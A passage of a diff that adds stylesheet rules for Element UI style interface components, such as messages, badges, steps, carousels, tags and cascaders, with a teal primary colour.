90, 150; + stroke-dashoffset: -35 + } + 100% { + stroke-dasharray: 90, 150; + stroke-dashoffset: -124 + } +} + +.el-message { + min-width: 380px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + border-width: 1px; + border-style: solid; + border-color: #ebeef5; + position: fixed; + left: 50%; + top: 20px; + -webkit-transform: translateX(-50%); + transform: translateX(-50%); + background-color: #edf2fc; + -webkit-transition: opacity .3s, top .4s, -webkit-transform .4s; + transition: opacity .3s, top .4s, -webkit-transform .4s; + transition: opacity .3s, transform .4s, top .4s; + transition: opacity .3s, transform .4s, top .4s, -webkit-transform .4s; + padding: 15px 15px 15px 20px; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center +} + +.el-message.is-center { + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center +} + +.el-message.is-closable .el-message__content { + padding-right: 16px +} + +.el-message p { + margin: 0 +} + +.el-message--info .el-message__content { + color: #909399 +} + +.el-message--success { + background-color: #f0f9eb; + border-color: #e1f3d8 +} + +.el-message--success .el-message__content { + color: #67c23a +} + +.el-message--warning { + background-color: #fdf6ec; + border-color: #faecd8 +} + +.el-message--warning .el-message__content { + color: #e6a23c +} + +.el-message--error { + background-color: #fef0f0; + border-color: #fde2e2 +} + +.el-message--error .el-message__content { + color: #f56c6c +} + +.el-message__icon { + margin-right: 10px +} + +.el-message__content { + padding: 0; + font-size: 14px; + line-height: 1 +} + +.el-message__closeBtn { + position: absolute; + top: 50%; + right: 15px; + -webkit-transform: translateY(-50%); + transform: translateY(-50%); + cursor: pointer; + color: #c0c4cc; + font-size: 16px +} + +.el-message__closeBtn:hover { + color: #909399 +} + +.el-message .el-icon-success { + color: #67c23a +} + +.el-message .el-icon-error { + color: #f56c6c +} + +.el-message .el-icon-info { + color: #909399 +} + +.el-message .el-icon-warning { + color: #e6a23c +} + +.el-message-fade-enter, +.el-message-fade-leave-active { + opacity: 0; + -webkit-transform: translate(-50%, -100%); + transform: translate(-50%, -100%) +} + +.el-badge { + position: relative; + vertical-align: middle; + display: inline-block +} + +.el-badge__content { + background-color: #f56c6c; + border-radius: 10px; + color: #fff; + display: inline-block; + font-size: 12px; + height: 18px; + line-height: 18px; + padding: 0 6px; + text-align: center; + white-space: nowrap; + border: 1px solid #fff +} + +.el-badge__content.is-fixed { + position: absolute; + top: 0; + right: 10px; + -webkit-transform: translateY(-50%) translateX(100%); + transform: translateY(-50%) translateX(100%) +} + +.el-rate__icon, +.el-rate__item { + position: relative; + display: inline-block +} + +.el-badge__content.is-fixed.is-dot { + right: 5px +} + +.el-badge__content.is-dot { + height: 8px; + width: 8px; + padding: 0; + right: 0; + border-radius: 50% +} + +.el-badge__content--primary { + background-color: var(--color-primary, #419488) +} + +.el-badge__content--success { + background-color: #67c23a +} + +.el-badge__content--warning { + background-color: #e6a23c +} + +.el-badge__content--info { + background-color: #909399 +} + +.el-badge__content--danger { + background-color: #f56c6c +} + +.el-card { + border: 1px solid #ebeef5; + background-color: #fff; + color: #303133; + -webkit-transition: .3s; + transition: .3s +} + +.el-card.is-always-shadow, +.el-card.is-hover-shadow:focus, +.el-card.is-hover-shadow:hover { + -webkit-box-shadow: 0 2px 12px 0 rgba(0, 0, 0, .1); + box-shadow: 0 2px 12px 0 rgba(0, 0, 0, .1) +} + +.el-card__header { + padding: 18px 20px; + border-bottom: 1px solid #ebeef5; + -webkit-box-sizing: border-box; + box-sizing: border-box +} + +.el-card__body { + padding: 20px +} + +.el-rate { + height: 20px; + line-height: 1 +} + +.el-rate__item { + font-size: 0; + vertical-align: middle +} + +.el-rate__icon { + font-size: 18px; + margin-right: 6px; + color: #c0c4cc; + -webkit-transition: .3s; + transition: .3s +} + +.el-rate__decimal, +.el-rate__icon .path2 { + position: absolute; + top: 0; + left: 0 +} + +.el-rate__icon.hover { + -webkit-transform: scale(1.15); + transform: scale(1.15) +} + +.el-rate__decimal { + display: inline-block; + overflow: hidden +} + +.el-step.is-vertical, +.el-steps { + display: -webkit-box; + display: -ms-flexbox +} + +.el-rate__text { + font-size: 14px; + vertical-align: middle +} + +.el-steps { + display: flex +} + +.el-steps--simple { + padding: 13px 8%; + border-radius: 4px; + background: #f5f7fa +} + +.el-steps--horizontal { + white-space: nowrap +} + +.el-steps--vertical { + height: 100%; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -ms-flex-flow: column; + flex-flow: column +} + +.el-step { + position: relative; + -ms-flex-negative: 1; + flex-shrink: 1 +} + +.el-step:last-of-type .el-step__line { + display: none +} + +.el-step:last-of-type.is-flex { + -ms-flex-preferred-size: auto !important; + flex-basis: auto !important; + -ms-flex-negative: 0; + flex-shrink: 0; + -webkit-box-flex: 0; + -ms-flex-positive: 0; + flex-grow: 0 +} + +.el-step:last-of-type .el-step__description, +.el-step:last-of-type .el-step__main { + padding-right: 0 +} + +.el-step__head { + position: relative; + width: 100% +} + +.el-step__head.is-process { + color: #303133; + border-color: #303133 +} + +.el-step__head.is-wait { + color: #c0c4cc; + border-color: #c0c4cc +} + +.el-step__head.is-success { + color: #67c23a; + border-color: #67c23a +} + +.el-step__head.is-error { + color: #f56c6c; + border-color: #f56c6c +} + +.el-step__head.is-finish { + color: var(--color-primary, #419488); + border-color: var(--color-primary, #419488) +} + +.el-step__icon { + position: relative; + z-index: 1; + display: -webkit-inline-box; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + width: 24px; + height: 24px; + font-size: 14px; + -webkit-box-sizing: border-box; + box-sizing: border-box; + background: #fff; + -webkit-transition: .15s ease-out; + transition: .15s ease-out +} + +.el-step__icon.is-text { + border-radius: 50%; + border: 2px solid; + border-color: inherit +} + +.el-step__icon.is-icon { + width: 40px +} + +.el-step__icon-inner { + display: inline-block; + user-select: none; + text-align: center; + font-weight: 700; + line-height: 1; + color: inherit +} + +.el-step__icon-inner[class*=el-icon]:not(.is-status) { + font-size: 25px; + font-weight: 400 +} + +.el-step__icon-inner.is-status { + -webkit-transform: translateY(1px); + transform: translateY(1px) +} + +.el-step__line { + position: absolute; + border-color: inherit; + background-color: #c0c4cc +} + +.el-step__line-inner { + display: block; + border-width: 1px; + border-style: solid; + border-color: inherit; + -webkit-transition: .15s ease-out; + transition: .15s ease-out; + -webkit-box-sizing: border-box; + box-sizing: border-box; + width: 0; + height: 0 +} + +.el-step__main { + white-space: normal; + text-align: left +} + +.el-step__title { + font-size: 16px; + line-height: 38px +} + +.el-step__title.is-process { + font-weight: 700; + color: #303133 +} + +.el-step__title.is-wait { + color: #c0c4cc +} + +.el-step__title.is-success { + color: #67c23a +} + +.el-step__title.is-error { + color: #f56c6c +} + +.el-step__title.is-finish { + color: var(--color-primary, #419488) +} + +.el-step__description { + padding-right: 10%; + margin-top: -5px; + font-size: 12px; + line-height: 20px; + font-weight: 400 +} + +.el-step__description.is-process { + color: #303133 +} + +.el-step__description.is-wait { + color: #c0c4cc +} + +.el-step__description.is-success { + color: #67c23a +} + +.el-step__description.is-error { + color: #f56c6c +} + +.el-step__description.is-finish { + color: var(--color-primary, #419488) +} + +.el-step.is-horizontal { + display: inline-block +} + +.el-step.is-horizontal .el-step__line { + height: 2px; + top: 11px; + left: 0; + right: 0 +} + +.el-step.is-vertical { + display: flex +} + +.el-step.is-vertical .el-step__head { + -webkit-box-flex: 0; + -ms-flex-positive: 0; + flex-grow: 0; + width: 24px +} + +.el-step.is-vertical .el-step__main { + padding-left: 10px; + -webkit-box-flex: 1; + -ms-flex-positive: 1; + flex-grow: 1 +} + +.el-step.is-vertical .el-step__title { + line-height: 24px; + padding-bottom: 8px +} + +.el-step.is-vertical .el-step__line { + width: 2px; + top: 0; + bottom: 0; + left: 11px +} + +.el-step.is-vertical .el-step__icon.is-icon { + width: 24px +} + +.el-step.is-center .el-step__head, +.el-step.is-center .el-step__main { + text-align: center +} + +.el-step.is-center .el-step__description { + padding-left: 20%; + padding-right: 20% +} + +.el-step.is-center .el-step__line { + left: 50%; + right: -50% +} + +.el-step.is-simple { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center +} + +.el-step.is-simple .el-step__head { + width: auto; + font-size: 0; + padding-right: 10px +} + +.el-step.is-simple .el-step__icon { + background: 0 0; + width: 16px; + height: 16px; + font-size: 12px +} + +.el-step.is-simple .el-step__icon-inner[class*=el-icon]:not(.is-status) { + font-size: 18px +} + +.el-step.is-simple .el-step__icon-inner.is-status { + -webkit-transform: scale(.8) translateY(1px); + transform: scale(.8) translateY(1px) +} + +.el-step.is-simple .el-step__main { + position: relative; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: stretch; + -ms-flex-align: stretch; + align-items: stretch; + -webkit-box-flex: 1; + -ms-flex-positive: 1; + flex-grow: 1 +} + +.el-step.is-simple .el-step__title { + font-size: 16px; + line-height: 20px +} + +.el-step.is-simple:not(:last-of-type) .el-step__title { + max-width: 50%; + word-break: break-all +} + +.el-step.is-simple .el-step__arrow { + -webkit-box-flex: 1; + -ms-flex-positive: 1; + flex-grow: 1; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center +} + +.el-step.is-simple .el-step__arrow::after, +.el-step.is-simple .el-step__arrow::before { + content: ''; + display: inline-block; + position: absolute; + height: 15px; + width: 1px; + background: #c0c4cc +} + +.el-step.is-simple .el-step__arrow::before { + -webkit-transform: rotate(-45deg) translateY(-4px); + transform: rotate(-45deg) translateY(-4px); + -webkit-transform-origin: 0 0; + transform-origin: 0 0 +} + +.el-step.is-simple .el-step__arrow::after { + -webkit-transform: rotate(45deg) translateY(4px); + transform: rotate(45deg) translateY(4px); + -webkit-transform-origin: 100% 100%; + transform-origin: 100% 100% +} + +.el-step.is-simple:last-of-type .el-step__arrow { + display: none +} + +.el-carousel { + position: relative +} + +.el-carousel--horizontal { + overflow-x: hidden +} + +.el-carousel--vertical { + overflow-y: hidden +} + +.el-carousel__container { + position: relative; + height: 300px +} + +.el-carousel__arrow { + border: none; + outline: 0; + padding: 0; + margin: 0; + height: 36px; + width: 36px; + cursor: pointer; + -webkit-transition: .3s; + transition: .3s; + border-radius: 50%; + background-color: rgba(31, 45, 61, .11); + color: #fff; + position: absolute; + top: 50%; + z-index: 10; + -webkit-transform: translateY(-50%); + transform: translateY(-50%); + text-align: center; + font-size: 12px +} + +.el-carousel__arrow--left { + left: 16px +} + +.el-carousel__arrow--right { + right: 16px +} + +.el-carousel__arrow:hover { + background-color: rgba(31, 45, 61, .23) +} + +.el-carousel__arrow i { + cursor: pointer +} + +.el-carousel__indicators { + position: absolute; + list-style: none; + margin: 0; + padding: 0; + z-index: 2 +} + +.el-carousel__indicators--horizontal { + bottom: 0; + left: 50%; + -webkit-transform: translateX(-50%); + transform: translateX(-50%) +} + +.el-carousel__indicators--vertical { + right: 0; + top: 50%; + -webkit-transform: translateY(-50%); + transform: translateY(-50%) +} + +.el-carousel__indicators--outside { + bottom: 26px; + text-align: center; + position: static; + -webkit-transform: none; + transform: none +} + +.el-carousel__indicators--outside .el-carousel__indicator:hover button { + opacity: .64 +} + +.el-carousel__indicators--outside button { + background-color: #c0c4cc; + opacity: .24 +} + +.el-carousel__indicators--labels { + left: 0; + right: 0; + -webkit-transform: none; + transform: none; + text-align: center +} + +.el-carousel__indicators--labels .el-carousel__button { + height: auto; + width: auto; + padding: 2px 18px; + font-size: 12px +} + +.el-carousel__indicators--labels .el-carousel__indicator { + padding: 6px 4px +} + +.el-carousel__indicator { + background-color: transparent; + cursor: pointer +} + +.el-carousel__indicator:hover button { + opacity: .72 +} + +.el-carousel__indicator--horizontal { + display: inline-block; + padding: 12px 4px +} + +.el-carousel__indicator--vertical { + padding: 4px 12px +} + +.el-carousel__indicator--vertical .el-carousel__button { + width: 2px; + height: 15px +} + +.el-carousel__indicator.is-active button { + opacity: 1 +} + +.el-carousel__button { + display: block; + opacity: .48; + width: 30px; + height: 2px; + background-color: #fff; + border: none; + outline: 0; + padding: 0; + margin: 0; + cursor: pointer; + -webkit-transition: .3s; + transition: .3s +} + +.el-carousel__item, +.el-carousel__mask { + height: 100%; + top: 0; + left: 0; + position: absolute +} + +.carousel-arrow-left-enter, +.carousel-arrow-left-leave-active { + -webkit-transform: translateY(-50%) translateX(-10px); + transform: translateY(-50%) translateX(-10px); + opacity: 0 +} + +.carousel-arrow-right-enter, +.carousel-arrow-right-leave-active { + -webkit-transform: translateY(-50%) translateX(10px); + transform: translateY(-50%) translateX(10px); + opacity: 0 +} + +.el-carousel__item { + width: 100%; + display: inline-block; + overflow: hidden; + z-index: 0 +} + +.el-carousel__item.is-active { + z-index: 2 +} + +.el-carousel__item.is-animating { + -webkit-transition: -webkit-transform .4s ease-in-out; + transition: -webkit-transform .4s ease-in-out; + transition: transform .4s ease-in-out; + transition: transform .4s ease-in-out, -webkit-transform .4s ease-in-out +} + +.el-carousel__item--card { + width: 50%; + -webkit-transition: -webkit-transform .4s ease-in-out; + transition: -webkit-transform .4s ease-in-out; + transition: transform .4s ease-in-out; + transition: transform .4s ease-in-out, -webkit-transform .4s ease-in-out +} + +.el-carousel__item--card.is-in-stage { + cursor: pointer; + z-index: 1 +} + +.el-carousel__item--card.is-in-stage.is-hover .el-carousel__mask, +.el-carousel__item--card.is-in-stage:hover .el-carousel__mask { + opacity: .12 +} + +.el-carousel__item--card.is-active { + z-index: 2 +} + +.el-carousel__mask { + width: 100%; + background-color: #fff; + opacity: .24; + -webkit-transition: .2s; + transition: .2s +} + +.el-fade-in-enter, +.el-fade-in-leave-active, +.el-fade-in-linear-enter, +.el-fade-in-linear-leave, +.el-fade-in-linear-leave-active, +.fade-in-linear-enter, +.fade-in-linear-leave, +.fade-in-linear-leave-active { + opacity: 0 +} + +.fade-in-linear-enter-active, +.fade-in-linear-leave-active { + -webkit-transition: opacity .2s linear; + transition: opacity .2s linear +} + +.el-fade-in-linear-enter-active, +.el-fade-in-linear-leave-active { + -webkit-transition: opacity .2s linear; + transition: opacity .2s linear +} + +.el-fade-in-enter-active, +.el-fade-in-leave-active { + -webkit-transition: all .3s cubic-bezier(.55, 0, .1, 1); + transition: all .3s cubic-bezier(.55, 0, .1, 1) +} + +.el-zoom-in-center-enter-active, +.el-zoom-in-center-leave-active { + -webkit-transition: all .3s cubic-bezier(.55, 0, .1, 1); + transition: all .3s cubic-bezier(.55, 0, .1, 1) +} + +.el-zoom-in-center-enter, +.el-zoom-in-center-leave-active { + opacity: 0; + -webkit-transform: scaleX(0); + transform: scaleX(0) +} + +.el-zoom-in-top-enter-active, +.el-zoom-in-top-leave-active { + opacity: 1; + -webkit-transform: scaleY(1); + transform: scaleY(1); + -webkit-transition: opacity .3s cubic-bezier(.23, 1, .32, 1), -webkit-transform .3s cubic-bezier(.23, 1, .32, 1); + transition: opacity .3s cubic-bezier(.23, 1, .32, 1), -webkit-transform .3s cubic-bezier(.23, 1, .32, 1); + transition: transform .3s cubic-bezier(.23, 1, .32, 1), opacity .3s cubic-bezier(.23, 1, .32, 1); + transition: transform .3s cubic-bezier(.23, 1, .32, 1), opacity .3s cubic-bezier(.23, 1, .32, 1), -webkit-transform .3s cubic-bezier(.23, 1, .32, 1); + -webkit-transform-origin: center top; + transform-origin: center top +} + +.el-zoom-in-top-enter, +.el-zoom-in-top-leave-active { + opacity: 0; + -webkit-transform: scaleY(0); + transform: scaleY(0) +} + +.el-zoom-in-bottom-enter-active, +.el-zoom-in-bottom-leave-active { + opacity: 1; + -webkit-transform: scaleY(1); + transform: scaleY(1); + -webkit-transition: opacity .3s cubic-bezier(.23, 1, .32, 1), -webkit-transform .3s cubic-bezier(.23, 1, .32, 1); + transition: opacity .3s cubic-bezier(.23, 1, .32, 1), -webkit-transform .3s cubic-bezier(.23, 1, .32, 1); + transition: transform .3s cubic-bezier(.23, 1, .32, 1), opacity .3s cubic-bezier(.23, 1, .32, 1); + transition: transform .3s cubic-bezier(.23, 1, .32, 1), opacity .3s cubic-bezier(.23, 1, .32, 1), -webkit-transform .3s cubic-bezier(.23, 1, .32, 1); + -webkit-transform-origin: center bottom; + transform-origin: center bottom +} + +.el-zoom-in-bottom-enter, +.el-zoom-in-bottom-leave-active { + opacity: 0; + -webkit-transform: scaleY(0); + transform: scaleY(0) +} + +.el-zoom-in-left-enter-active, +.el-zoom-in-left-leave-active { + opacity: 1; + -webkit-transform: scale(1, 1); + transform: scale(1, 1); + -webkit-transition: opacity .3s cubic-bezier(.23, 1, .32, 1), -webkit-transform .3s cubic-bezier(.23, 1, .32, 1); + transition: opacity .3s cubic-bezier(.23, 1, .32, 1), -webkit-transform .3s cubic-bezier(.23, 1, .32, 1); + transition: transform .3s cubic-bezier(.23, 1, .32, 1), opacity .3s cubic-bezier(.23, 1, .32, 1); + transition: transform .3s cubic-bezier(.23, 1, .32, 1), opacity .3s cubic-bezier(.23, 1, .32, 1), -webkit-transform .3s cubic-bezier(.23, 1, .32, 1); + -webkit-transform-origin: top left; + transform-origin: top left +} + +.el-zoom-in-left-enter, +.el-zoom-in-left-leave-active { + opacity: 0; + -webkit-transform: scale(.45, .45); + transform: scale(.45, .45) +} + +.collapse-transition { + -webkit-transition: .3s height ease-in-out, .3s padding-top ease-in-out, .3s padding-bottom ease-in-out; + transition: .3s height ease-in-out, .3s padding-top ease-in-out, .3s padding-bottom ease-in-out +} + +.horizontal-collapse-transition { + -webkit-transition: .3s width ease-in-out, .3s padding-left ease-in-out, .3s padding-right ease-in-out; + transition: .3s width ease-in-out, .3s padding-left ease-in-out, .3s padding-right ease-in-out +} + +.el-list-enter-active, +.el-list-leave-active { + -webkit-transition: all 1s; + transition: all 1s +} + +.el-list-enter, +.el-list-leave-active { + opacity: 0; + -webkit-transform: translateY(-30px); + transform: translateY(-30px) +} + +.el-opacity-transition { + -webkit-transition: opacity .3s cubic-bezier(.55, 0, .1, 1); + transition: opacity .3s cubic-bezier(.55, 0, .1, 1) +} + +.el-collapse { + border-top: 1px solid #ebeef5; + border-bottom: 1px solid #ebeef5 +} + +.el-collapse-item.is-disabled .el-collapse-item__header { + color: #bbb; + cursor: not-allowed +} + +.el-collapse-item__header { + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + height: 48px; + line-height: 48px; + background-color: #fff; + color: #303133; + cursor: pointer; + border-bottom: 1px solid #ebeef5; + font-size: 13px; + font-weight: 500; + -webkit-transition: border-bottom-color .3s; + transition: border-bottom-color .3s; + outline: 0 +} + +.el-collapse-item__arrow { + margin: 0 8px 0 auto; + transition: -webkit-transform .3s; + transition: transform .3s; + transition: transform .3s, -webkit-transform .3s; + font-weight: 300 +} + +.el-collapse-item__arrow.is-active { + -webkit-transform: rotate(90deg); + transform: rotate(90deg) +} + +.el-collapse-item__header.focusing:focus:not(:hover) { + color: var(--color-primary, #419488) +} + +.el-collapse-item__header.is-active { + border-bottom-color: transparent +} + +.el-collapse-item__wrap { + will-change: height; + background-color: #fff; + overflow: hidden; + -webkit-box-sizing: border-box; + box-sizing: border-box; + border-bottom: 1px solid #ebeef5 +} + +.el-cascader__tags, +.el-tag { + -webkit-box-sizing: border-box +} + +.el-collapse-item__content { + padding-bottom: 25px; + font-size: 13px; + color: #303133; + line-height: 1.76923077 +} + +.el-collapse-item:last-child { + margin-bottom: -1px +} + +.el-popper .popper__arrow, +.el-popper .popper__arrow::after { + position: absolute; + display: block; + width: 0; + height: 0; + border-color: transparent; + border-style: solid +} + +.el-popper .popper__arrow { + border-width: 6px; + -webkit-filter: drop-shadow(0 2px 12px rgba(0, 0, 0, .03)); + filter: drop-shadow(0 2px 12px rgba(0, 0, 0, .03)) +} + +.el-popper .popper__arrow::after { + content: " "; + border-width: 6px +} + +.el-popper[x-placement^=top] { + margin-bottom: 12px +} + +.el-popper[x-placement^=top] .popper__arrow { + bottom: -6px; + left: 50%; + margin-right: 3px; + border-top-color: #ebeef5; + border-bottom-width: 0 +} + +.el-popper[x-placement^=top] .popper__arrow::after { + bottom: 1px; + margin-left: -6px; + border-top-color: #fff; + border-bottom-width: 0 +} + +.el-popper[x-placement^=bottom] { + margin-top: 12px +} + +.el-popper[x-placement^=bottom] .popper__arrow { + top: -6px; + left: 50%; + margin-right: 3px; + border-top-width: 0; + border-bottom-color: #ebeef5 +} + +.el-popper[x-placement^=bottom] .popper__arrow::after { + top: 1px; + margin-left: -6px; + border-top-width: 0; + border-bottom-color: #fff +} + +.el-popper[x-placement^=right] { + margin-left: 12px +} + +.el-popper[x-placement^=right] .popper__arrow { + top: 50%; + left: -6px; + margin-bottom: 3px; + border-right-color: #ebeef5; + border-left-width: 0 +} + +.el-popper[x-placement^=right] .popper__arrow::after { + bottom: -6px; + left: 1px; + border-right-color: #fff; + border-left-width: 0 +} + +.el-popper[x-placement^=left] { + margin-right: 12px +} + +.el-popper[x-placement^=left] .popper__arrow { + top: 50%; + right: -6px; + margin-bottom: 3px; + border-right-width: 0; + border-left-color: #ebeef5 +} + +.el-popper[x-placement^=left] .popper__arrow::after { + right: 1px; + bottom: -6px; + margin-left: -6px; + border-right-width: 0; + border-left-color: #fff +} + +.el-tag { + background-color: #ecf5ff; + border-color: #d9ecff; + display: inline-block; + height: 32px; + padding: 0 10px; + line-height: 30px; + font-size: 12px; + color: var(--color-primary, #419488); + border-width: 1px; + border-style: solid; + border-radius: 4px; + box-sizing: border-box; + white-space: nowrap +} + +.el-tag.is-hit { + border-color: var(--color-primary, #419488) +} + +.el-tag .el-tag__close { + color: var(--color-primary, #419488) +} + +.el-tag .el-tag__close:hover { + color: #fff; + background-color: var(--color-primary, #419488) +} + +.el-tag.el-tag--info { + background-color: #f4f4f5; + border-color: #e9e9eb; + color: #909399 +} + +.el-tag.el-tag--info.is-hit { + border-color: #909399 +} + +.el-tag.el-tag--info .el-tag__close { + color: #909399 +} + +.el-tag.el-tag--info .el-tag__close:hover { + color: #fff; + background-color: #909399 +} + +.el-tag.el-tag--success { + background-color: #f0f9eb; + border-color: #e1f3d8; + color: #67c23a +} + +.el-tag.el-tag--success.is-hit { + border-color: #67c23a +} + +.el-tag.el-tag--success .el-tag__close { + color: #67c23a +} + +.el-tag.el-tag--success .el-tag__close:hover { + color: #fff; + background-color: #67c23a +} + +.el-tag.el-tag--warning { + background-color: #fdf6ec; + border-color: #faecd8; + color: #e6a23c +} + +.el-tag.el-tag--warning.is-hit { + border-color: #e6a23c +} + +.el-tag.el-tag--warning .el-tag__close { + color: #e6a23c +} + +.el-tag.el-tag--warning .el-tag__close:hover { + color: #fff; + background-color: #e6a23c +} + +.el-tag.el-tag--danger { + background-color: #fef0f0; + border-color: #fde2e2; + color: #f56c6c +} + +.el-tag.el-tag--danger.is-hit { + border-color: #f56c6c +} + +.el-tag.el-tag--danger .el-tag__close { + color: #f56c6c +} + +.el-tag.el-tag--danger .el-tag__close:hover { + color: #fff; + background-color: #f56c6c +} + +.el-tag .el-icon-close { + border-radius: 50%; + text-align: center; + position: relative; + cursor: pointer; + font-size: 12px; + height: 16px; + width: 16px; + line-height: 16px; + vertical-align: middle; + top: -1px; + right: -5px +} + +.el-tag .el-icon-close::before { + display: block +} + +.el-tag--dark { + background-color: var(--color-primary, #419488); + border-color: var(--color-primary, #419488); + color: #fff +} + +.el-tag--dark.is-hit { + border-color: var(--color-primary, #419488) +} + +.el-tag--dark .el-tag__close { + color: #fff +} + +.el-tag--dark .el-tag__close:hover { + color: #fff; + background-color: #66b1ff +} + +.el-tag--dark.el-tag--info { + background-color: #909399; + border-color: #909399; + color: #fff +} + +.el-tag--dark.el-tag--info.is-hit { + border-color: #909399 +} + +.el-tag--dark.el-tag--info .el-tag__close { + color: #fff +} + +.el-tag--dark.el-tag--info .el-tag__close:hover { + color: #fff; + background-color: #a6a9ad +} + +.el-tag--dark.el-tag--success { + background-color: #67c23a; + border-color: #67c23a; + color: #fff +} + +.el-tag--dark.el-tag--success.is-hit { + border-color: #67c23a +} + +.el-tag--dark.el-tag--success .el-tag__close { + color: #fff +} + +.el-tag--dark.el-tag--success .el-tag__close:hover { + color: #fff; + background-color: #85ce61 +} + +.el-tag--dark.el-tag--warning { + background-color: #e6a23c; + border-color: #e6a23c; + color: #fff +} + +.el-tag--dark.el-tag--warning.is-hit { + border-color: #e6a23c +} + +.el-tag--dark.el-tag--warning .el-tag__close { + color: #fff +} + +.el-tag--dark.el-tag--warning .el-tag__close:hover { + color: #fff; + background-color: #ebb563 +} + +.el-tag--dark.el-tag--danger { + background-color: #f56c6c; + border-color: #f56c6c; + color: #fff +} + +.el-tag--dark.el-tag--danger.is-hit { + border-color: #f56c6c +} + +.el-tag--dark.el-tag--danger .el-tag__close { + color: #fff +} + +.el-tag--dark.el-tag--danger .el-tag__close:hover { + color: #fff; + background-color: #f78989 +} + +.el-tag--plain { + background-color: #fff; + border-color: #b3d8ff; + color: var(--color-primary, #419488) +} + +.el-tag--plain.is-hit { + border-color: var(--color-primary, #419488) +} + +.el-tag--plain .el-tag__close { + color: var(--color-primary, #419488) +} + +.el-tag--plain .el-tag__close:hover { + color: #fff; + background-color: var(--color-primary, #419488) +} + +.el-tag--plain.el-tag--info { + background-color: #fff; + border-color: #d3d4d6; + color: #909399 +} + +.el-tag--plain.el-tag--info.is-hit { + border-color: #909399 +} + +.el-tag--plain.el-tag--info .el-tag__close { + color: #909399 +} + +.el-tag--plain.el-tag--info .el-tag__close:hover { + color: #fff; + background-color: #909399 +} + +.el-tag--plain.el-tag--success { + background-color: #fff; + border-color: #c2e7b0; + color: #67c23a +} + +.el-tag--plain.el-tag--success.is-hit { + border-color: #67c23a +} + +.el-tag--plain.el-tag--success .el-tag__close { + color: #67c23a +} + +.el-tag--plain.el-tag--success .el-tag__close:hover { + color: #fff; + background-color: #67c23a +} + +.el-tag--plain.el-tag--warning { + background-color: #fff; + border-color: #f5dab1; + color: #e6a23c +} + +.el-tag--plain.el-tag--warning.is-hit { + border-color: #e6a23c +} + +.el-tag--plain.el-tag--warning .el-tag__close { + color: #e6a23c +} + +.el-tag--plain.el-tag--warning .el-tag__close:hover { + color: #fff; + background-color: #e6a23c +} + +.el-tag--plain.el-tag--danger { + background-color: #fff; + border-color: #fbc4c4; + color: #f56c6c +} + +.el-tag--plain.el-tag--danger.is-hit { + border-color: #f56c6c +} + +.el-tag--plain.el-tag--danger .el-tag__close { + color: #f56c6c +} + +.el-tag--plain.el-tag--danger .el-tag__close:hover { + color: #fff; + background-color: #f56c6c +} + +.el-tag--medium { + height: 28px; + line-height: 26px +} + +.el-tag--medium .el-icon-close { + -webkit-transform: scale(.8); + transform: scale(.8) +} + +.el-tag--small { + height: 24px; + padding: 0 8px; + line-height: 22px +} + +.el-tag--small .el-icon-close { + -webkit-transform: scale(.8); + transform: scale(.8) +} + +.el-tag--mini { + height: 20px; + padding: 0 5px; + line-height: 19px +} + +.el-tag--mini .el-icon-close { + margin-left: -3px; + -webkit-transform: scale(.7); + transform: scale(.7) +} + +.el-cascader { + display: inline-block; + position: relative; + font-size: 14px; + line-height: 40px +} + +.el-cascader:not(.is-disabled):hover .el-input__inner { + cursor: pointer; + border-color: #c0c4cc +} + +.el-cascader .el-input .el-input__inner:focus, +.el-cascader .el-input.is-focus .el-input__inner { + border-color: var(--color-primary, #419488) +} + +.el-cascader .el-input { + cursor: pointer +} + +.el-cascader .el-input .el-input__inner { + text-overflow: ellipsis +} + +.el-cascader .el-input .el-icon-arrow-down { + -webkit-transition: -webkit-transform .3s; + transition: -webkit-transform .3s; + transition: transform .3s; + transition: transform .3s, -webkit-transform .3s; + font-size: 14px +} + +.el-cascader .el-input .el-icon-arrow-down.is-reverse { + -webkit-transform: rotateZ(180deg); + transform: rotateZ(180deg) +} + +.el-cascader .el-input .el-icon-circle-close:hover { + color: #909399 +} + +.el-cascader--medium { + font-size: 14px; + line-height: 36px +} + +.el-cascader--small { + font-size: 13px; + line-height: 32px +} + +.el-cascader--mini { + font-size: 12px; + line-height: 28px +} + +.el-cascader.is-disabled .el-cascader__label { + z-index: 2; + color: #c0c4cc +} + +.el-cascader__dropdown { + margin: 5px 0; + font-size: 14px; + background: #fff; + border: 1px solid #e4e7ed; + border-radius: 4px; + -webkit-box-shadow: 0 2px 12px 0 rgba(0, 0, 0, .1); + box-shadow: 0 2px 12px 0 rgba(0, 0, 0, .1) +} + +.el-cascader__tags { + position: absolute; + left: 0; + right: 30px; + top: 50%; + -webkit-transform: translateY(-50%); + transform: translateY(-50%); + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -ms-flex-wrap: wrap; + flex-wrap: wrap; + line-height: normal; + text-align: left; + box-sizing: border-box +} + +.el-cascader__tags .el-tag { + display: -webkit-inline-box; + display: -ms-inline-flexbox; + display: inline-flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + max-width: 100%; + margin: 2px 0 2px 6px; + text-overflow: ellipsis; + background: #f0f2f5 +} + +.el-cascader__tags .el-tag:not(.is-hit) { + border-color: transparent +} + +.el-cascader__tags .el-tag>span { + -webkit-box-flex: 1; + -ms-flex: 1; + flex: 1; + overflow: hidden; + text-overflow: ellipsis +} + +.el-cascader__tags .el-tag .el-icon-close { + -webkit-box-flex: 0; + -ms-flex: none; + flex: none; + background-color: #c0c4cc; + color: #fff +} + +.el-cascader__tags .el-tag .el-icon-close:hover { + background-color: #909399 +} + +.el-cascader__suggestion-panel { + border-radius: 4px +} + +.el-cascader__suggestion-list { + max-height: 204px; + margin: 0; + padding: 6px 0; + font-size: 14px; + color: #606266; + text-align: center +} + 